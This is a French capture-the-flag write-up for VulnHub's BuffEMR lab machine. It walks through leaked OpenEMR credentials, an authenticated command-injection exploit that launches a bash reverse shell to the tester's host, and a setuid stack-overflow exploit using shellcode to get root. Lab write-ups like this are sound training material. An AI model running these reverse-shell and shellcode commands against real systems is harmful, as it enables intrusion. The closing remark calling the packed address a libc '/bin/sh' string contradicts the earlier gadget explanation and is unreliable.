Accueil Solution du CTF BuffEMR de VulnHub
Post
Annuler

Solution du CTF BuffEMR de VulnHub

BuffEMR était un CTF plutôt laborieux, la faute a des indices mal définis. L’escalade finale est une exploitation de binaire sans panache.

Sur le port FTP on trouve un dossier share avec à l’intérieur un dossier openemr.

Ce mortel ennui…

Ce dossier correspond vraisemblablement à l’installation de l’appli web OpenEMR présente à l’URL /openemr sur le serveur web.

On peut ainsi trouver sur le FTP le fichier de configuration /share/openemr/sites/default/sqlconf.php qui contient des identifiants :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
//  OpenEMR
//  MySQL Config

$host   = 'localhost';
$port   = '3306';
$login  = 'openemruser';
$pass   = 'openemruser123456';
$dbase  = 'openemr';

//Added ability to disable
//utf8 encoding - bm 05-2009
global $disable_utf8_flag;
$disable_utf8_flag = false;

$sqlconf = array();
global $sqlconf;
$sqlconf["host"]= $host;
$sqlconf["port"] = $port;
$sqlconf["login"] = $login;
$sqlconf["pass"] = $pass;
$sqlconf["dbase"] = $dbase;
//////////////////////////
//////////////////////////
//////////////////////////
//////DO NOT TOUCH THIS///
$config = 1; /////////////
//////////////////////////
//////////////////////////
//////////////////////////
?>

Malheureusement ces identifiants de base de données ne nous sont d’aucune utilité, le port de MySQL n’étant pas exposé. Ils ne permettent pas non plus de se connecter sur le OpenEMR.

J’ai tenté de bruteforcer le compte admin comme je l’avais fait pour le CTF DriftingBlues #8 mais sans succès.

Finalement dans cet amas de 17399 fichiers il fallait trouver le fichier tests/test.accounts qui contenait les infos suivantes :

1
2
3
this is a test admin account:

admin:Monster123

J’avoue avoir cherché une solution sur le web pour ce fichier, car il a été placé dans un dossier déjà existant de l’appli web, autant chercher une paille dans une meule de foin.

On peut alors se connecter sur l’appli. Il y a différentes sections qui permettent l’upload ou l’édition de fichier (Administration > Files ou encore Misc > Doc Templates) mais à chaque fois la tentative de placer un webshell échouait pour une histoire de permissions.

Il existe heureusement cet exploit : OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) qui fonctionne grâce à une injection de commande dans la configuration d’OpenEMR.

On peut lire dans l’exploit qu’il définit le champ form_284 qui, après lecture du HTML correspondant, correspond à la valeur du Hylafax Server :

1
2
3
 <div class='row' title='Hylafax server hostname.'><div class='col-sm-5 control-label'><b>Hylafax Server</b></div><div class='col-sm-6'>
  <input type='text' class='form-control' name='form_284' id='form_284' maxlength='255' value='localhost' />
 </div></div>

L’exploit met aussi le champ précédent (283) à true pour activer cette fonctionnalité.

On utilise l’exploit comme ceci (il fait faire une petite correction du code Python préalablement à cause d’une erreur) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ python3 openemr.py -u admin -p Monster123 -c "bash -i >& /dev/tcp/192.168.56.1/9999 0>&1" http://192.168.56.184/openemr 
 .---.  ,---.  ,---.  .-. .-.,---.          ,---.    
/ .-. ) | .-.\ | .-'  |  \| || .-'  |\    /|| .-.\   
| | |(_)| |-' )| `-.  |   | || `-.  |(\  / || `-'/   
| | | | | |--' | .-'  | |\  || .-'  (_)\/  ||   (    
\ `-' / | |    |  `--.| | |)||  `--.| \  / || |\ \   
 )---'  /(     /( __.'/(  (_)/( __.'| |\/| ||_| \)\  
(_)    (__)   (__)   (__)   (__)    '-'  '-'    (__) 
                                                       
   ={   P R O J E C T    I N S E C U R I T Y   }=    
                                                       
         Twitter : @Insecurity                       
         Site    : insecurity.sh                     

[$] Authenticating with admin:Monster123
[$] Injecting payload

On réceptionne alors notre shell :

1
2
3
4
5
6
7
8
9
10
11
$ ncat -l -p 9999 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.56.184.
Ncat: Connection from 192.168.56.184:43960.
bash: cannot set terminal process group (619): Inappropriate ioctl for device
bash: no job control in this shell
www-data@buffemr:/var/www/html/openemr/interface/main$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

En regardant les process en cours, on a la confirmation de l’injection de commande par l’exploit :

1
www-data  5880  0.0  0.0   4632    64 ?        S    05:42   0:00 sh -c faxstat -r -l -h || echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvOTk5OSAwPiYx|base64 -d|bash

J’ai alors fouillé dans la base de données avec les identifiants que j’avais trouvés au départ et découvert une autre base :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
www-data@buffemr:/var$ mysql -u openemruser -popenemruser123456
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 606
Server version: 5.7.34-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| openemr            |
| user_info          |
+--------------------+
3 rows in set (0.00 sec)

mysql> use user_info;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+---------------------+
| Tables_in_user_info |
+---------------------+
| ENCKEYS             |
+---------------------+
1 row in set (0.00 sec)

mysql> select * from ENCKEYS;
+------+--------+----------------------+
| id   | name   | ENC                  |
+------+--------+----------------------+
|    1 | pdfkey | c2FuM25jcnlwdDNkCg== |
+------+--------+----------------------+
1 row in set (0.01 sec)

À quoi sert cette clé ? Aucune idée. Elle semble se rapporter à un PDF d’après son nom, mais une recherche sur les fichiers PDF ne retourne rien d’inhabituel.

Là encore, nouvelle recherche d’ennui : il y a bien un utilisateur buffemr sur le système, mais ce dernier ne dispose d’aucun fichier qui nous est accessible.

Finalement, il fallait remarquer un fichier dans /var :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@buffemr:/tmp$ ls /var/
total 64K
drwxr-xr-x 15 root root     4.0K Jun 21  2021 .
drwxr-xr-x 26 root root     4.0K Jun 24  2021 ..
drwxr-xr-x  2 root root     4.0K Apr 17 21:40 backups
drwxr-xr-x 18 root root     4.0K Jun 19  2021 cache
drwxrwsrwt  2 root whoopsie 4.0K Apr 17 12:25 crash
drwxr-xr-x 68 root root     4.0K Jun 18  2021 lib
drwxrwsr-x  2 root staff    4.0K Apr 24  2018 local
lrwxrwxrwx  1 root root        9 Jun 18  2021 lock -> /run/lock
drwxrwxr-x 13 root syslog   4.0K Apr 18 00:07 log
drwxrwsr-x  2 root mail     4.0K Aug  6  2020 mail
drwxrwsrwt  2 root whoopsie 4.0K Aug  6  2020 metrics
drwxr-xr-x  2 root root     4.0K Aug  6  2020 opt
lrwxrwxrwx  1 root root        4 Jun 18  2021 run -> /run
drwxr-xr-x 10 root root     4.0K Jun 18  2021 snap
drwxr-xr-x  7 root root     4.0K Aug  6  2020 spool
drwxrwxrwt  2 root root     4.0K Apr 17 12:25 tmp
-rw-r--r--  1 root root      309 Jun 21  2021 user.zip
drwxr-xr-x  3 root root     4.0K Jun 18  2021 www

Indice pas logique, car il appartient à root.

L’archive zip est protégée par mot de passe et il fallait utiliser la pdfkey (qui du coup n’a aucun rapport avec un pdf) telle quelle et non dans sa version décodée (le base64 correspond à san3ncrypt3d).

On obtenait alors le fichier user.lst suivant :

This file contain senstive information, therefore, should be always encrypted at rest.

buffemr - Iamgr00t

** Only I can SSH in ****

On obtenait alors notre premier flag :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
buffemr@buffemr:~$ cat user_flag.txt 
    .-.    ))    wWw \\\  ///      wWw \\\    ///()_()                                                                 
  c(O_O)c (o0)-. (O)_((O)(O))      (O)_((O)  (O))(O o)                                                                 
 ,'.---.`, | (_))/ __)| \ ||       / __)| \  / |  |^_\                                                                 
/ /|_|_|\ \| .-'/ (   ||\\||      / (   ||\\//||  |(_))                                                                
| \_____/ ||(  (  _)  || \ |     (  _)  || \/ ||  |  /                                                                 
'. `---' .` \)  \ \_  ||  ||      \ \_  ||    ||  )|\\                                                                 
  `-...-'   (    \__)(_/  \_)      \__)(_/    \_)(/  \)                                                                
 wWw  wWw  oo_     wWw ()_()        c  c     .-.   \\\    /// ))   ()_()     .-.   \\\    ///wW  Ww oo_     wWw  _     
 (O)  (O) /  _)-<  (O)_(O o)        (OO)   c(O_O)c ((O)  (O))(o0)-.(O o)   c(O_O)c ((O)  (O))(O)(O)/  _)-<  (O)_/||_   
 / )  ( \ \__ `.   / __)|^_\      ,'.--.) ,'.---.`, | \  / |  | (_))|^_\  ,'.---.`, | \  / |  (..) \__ `.   / __)/o_)  
/ /    \ \   `. | / (   |(_))    / //_|_\/ /|_|_|\ \||\\//||  | .-' |(_))/ /|_|_|\ \||\\//||   ||     `. | / (  / |(\  
| \____/ |   _| |(  _)  |  /     | \___  | \_____/ ||| \/ ||  |(    |  / | \_____/ ||| \/ ||  _||_    _| |(  _) | | )) 
'. `--' .`,-'   | \ \_  )|\\     '.    ) '. `---' .`||    ||   \)   )|\\ '. `---' .`||    || (_/\_),-'   | \ \_ | |//  
  `-..-' (_..--'   \__)(/  \)      `-.'    `-...-' (_/    \_)  (   (/  \)  `-...-' (_/    \_)     (_..--'   \__)\__/   



COnGRATS !! lETs get ROOT now ....!!

À vaincre sans péril, on triomphe sans gloire

On pouvait ensuite accéder au dossier /opt. Le petit + lors du ls indique la présence d’attributs étendus :

1
2
3
4
5
6
7
8
9
10
11
12
buffemr@buffemr:~$ ls -adl /opt
drwxrwx---+ 2 root root 4096 Jun 24  2021 /opt
buffemr@buffemr:~$ getfacl /opt
getfacl: Removing leading '/' from absolute path names
# file: opt
# owner: root
# group: root
user::rwx
user:buffemr:rwx
group::---
mask::rwx
other::---

Dans ce dossier, on trouve un binaire setuid root qui… est en 32 bits alors que le système est en 64. Le binaire a de plus une stack exécutable et n’utilise pas les canary. On va donc pouvoir sauter sur un shellcode.

1
2
buffemr@buffemr:/opt$ file dontexecute 
dontexecute: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3c8287c844acebae4ece08e8c7eefc341e8972e4, not stripped

Il y a une fonction au nom explicite vulnerable qui utilise strcpy :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ buffemr@buffemr:/opt$ gdb -q ./dontexecute
Reading symbols from ./dontexecute...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x6dd
(gdb) r
Starting program: /opt/dontexecute 

Breakpoint 1, 0x565556dd in main ()
(gdb) disass vulnerable
Dump of assembler code for function _Z10vulnerablePc:
   0x5655569d <+0>:     push   %ebp
   0x5655569e <+1>:     mov    %esp,%ebp
   0x565556a0 <+3>:     push   %ebx
   0x565556a1 <+4>:     sub    $0x204,%esp
   0x565556a7 <+10>:    call   0x565557b0 <__x86.get_pc_thunk.ax>
   0x565556ac <+15>:    add    $0x1918,%eax
   0x565556b1 <+20>:    sub    $0x8,%esp
   0x565556b4 <+23>:    pushl  0x8(%ebp)
   0x565556b7 <+26>:    lea    -0x1fc(%ebp),%edx
   0x565556bd <+32>:    push   %edx
   0x565556be <+33>:    mov    %eax,%ebx
   0x565556c0 <+35>:    call   0x56555540 <strcpy@plt>
   0x565556c5 <+40>:    add    $0x10,%esp
   0x565556c8 <+43>:    nop
   0x565556c9 <+44>:    mov    -0x4(%ebp),%ebx
   0x565556cc <+47>:    leave  
   0x565556cd <+48>:    ret    
End of assembler dump.
(gdb) b *0x565556cd
Breakpoint 2 at 0x565556cd
(gdb) r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaau
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/dontexecute aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaau

Breakpoint 1, 0x565556dd in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x565556cd in vulnerable(char*) ()
(gdb) info reg
eax            0xffffcc6c       -13204
ecx            0xffffd860       -10144
edx            0xffffd469       -11159
ebx            0x66616162       1717657954
esp            0xffffce6c       0xffffce6c
ebp            0x66616163       0x66616163
esi            0xf7e31000       -136114176
edi            0x0      0
eip            0x565556cd       0x565556cd <vulnerable(char*)+48>
eflags         0x286    [ PF SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
(gdb) x/wx $esp
0xffffce6c:     0x66616164
(gdb) x/wx $eax
0xffffcc6c:     0x61616161
(gdb) x/i 0x56556000+0x000005dc
   0x565565dc:  call   *%eax

Avec la chaine cyclique passée en argument, je calcule que l’adresse de retour est écrasée à l’offset 512.

Point important, eax pointe au moment de l’exploitation sur le début de notre buffer. On va donc utiliser un gadget (dernière ligne du dump précédent) permettant de sauter sur eax.

Je me suis servi de mon shellcode favori signé Marco Ivaldi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
buffemr@buffemr:/opt$ ./dontexecute `python -c 'from struct import pack; print("\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh" + "A"*459 + pack("<I", 0x565565dc))'`
# id
uid=0(root) gid=1000(buffemr) groups=1000(buffemr),4(adm),24(cdrom),30(dip),46(plugdev),116(lpadmin),126(sambashare)
# cd /root
# ls
Root_flag.txt  snap
# cat Root_flag.txt
                                                                                                                                          
                                                                                                                                            
________                __  __                       ____                                  _____                                        ___ 
`MMMMMMMb.             69MM69MM                     6MMMMb                                69M`MM                                        `MM 
 MM    `Mb            6M' 6M' `                    8P    Y8                              6M' `MM                                         MM 
 MM     MM ___   ___ _MM__MM______  ___  __       6M      Mb ____    ___  ____  ___  __ _MM__ MM   _____  ____    _    ___  ____     ____MM 
 MM    .M9 `MM    MM MMMMMMMM6MMMMb `MM 6MM       MM      MM `MM(    )M' 6MMMMb `MM 6MM MMMMM MM  6MMMMMb `MM(   ,M.   )M' 6MMMMb   6MMMMMM 
 MMMMMMM(   MM    MM  MM  MM6M'  `Mb MM69 "       MM      MM  `Mb    d' 6M'  `Mb MM69 "  MM   MM 6M'   `Mb `Mb   dMb   d' 6M'  `Mb 6M'  `MM 
 MM    `Mb  MM    MM  MM  MMMM    MM MM'          MM      MM   YM.  ,P  MM    MM MM'     MM   MM MM     MM  YM. ,PYM. ,P  MM    MM MM    MM 
 MM     MM  MM    MM  MM  MMMMMMMMMM MM           MM      MM    MM  M   MMMMMMMM MM      MM   MM MM     MM  `Mb d'`Mb d'  MMMMMMMM MM    MM 
 MM     MM  MM    MM  MM  MMMM       MM           YM      M9    `Mbd'   MM       MM      MM   MM MM     MM   YM,P  YM,P   MM       MM    MM 
 MM    .M9  YM.   MM  MM  MMYM    d9 MM            8b    d8      YMP    YM    d9 MM      MM   MM YM.   ,M9   `MM'  `MM'   YM    d9 YM.  ,MM 
_MMMMMMM9'   YMMM9MM__MM__MM_YMMMM9 _MM_            YMMMM9        M      YMMMM9 _MM_    _MM_ _MM_ YMMMMM9     YP    YP     YMMMM9   YMMMMMM_
                                                                                                                                            
                                                                                                                                            
                                                                                                                                            
                                                                                                                                            
                                                                                                                                            
________                                           ___        8   8                                                                         
`MMMMMMMb.                                         `MM       (M) (M)                                                                        
 MM    `Mb                      /                   MM       (M) (M)                                                                        
 MM     MM   _____     _____   /M      ____     ____MM       (M) (M)                                                                        
 MM     MM  6MMMMMb   6MMMMMb /MMMMM  6MMMMb   6MMMMMM        M   M                                                                         
 MM    .M9 6M'   `Mb 6M'   `Mb MM    6M'  `Mb 6M'  `MM        M   M                                                                         
 MMMMMMM9' MM     MM MM     MM MM    MM    MM MM    MM        M   M                                                                         
 MM  \M\   MM     MM MM     MM MM    MMMMMMMM MM    MM        8   8                                                                         
 MM   \M\  MM     MM MM     MM MM    MM       MM    MM                                                                                      
 MM    \M\ YM.   ,M9 YM.   ,M9 YM.  ,YM    d9 YM.  ,MM       68b 68b                                                                        
_MM_    \M\_YMMMMM9   YMMMMM9   YMMM9 YMMMM9   YMMMMMM_      Y89 Y89  


COngratulations !!! Tweet me at @san3ncrypt3d !

La dernière adresse (passée à struct.pack) correspond à la chaine /bin/sh dabs la libc, les adresses n’étant pas randomisées.

Cet article est sous licence CC BY 4.0 par l'auteur.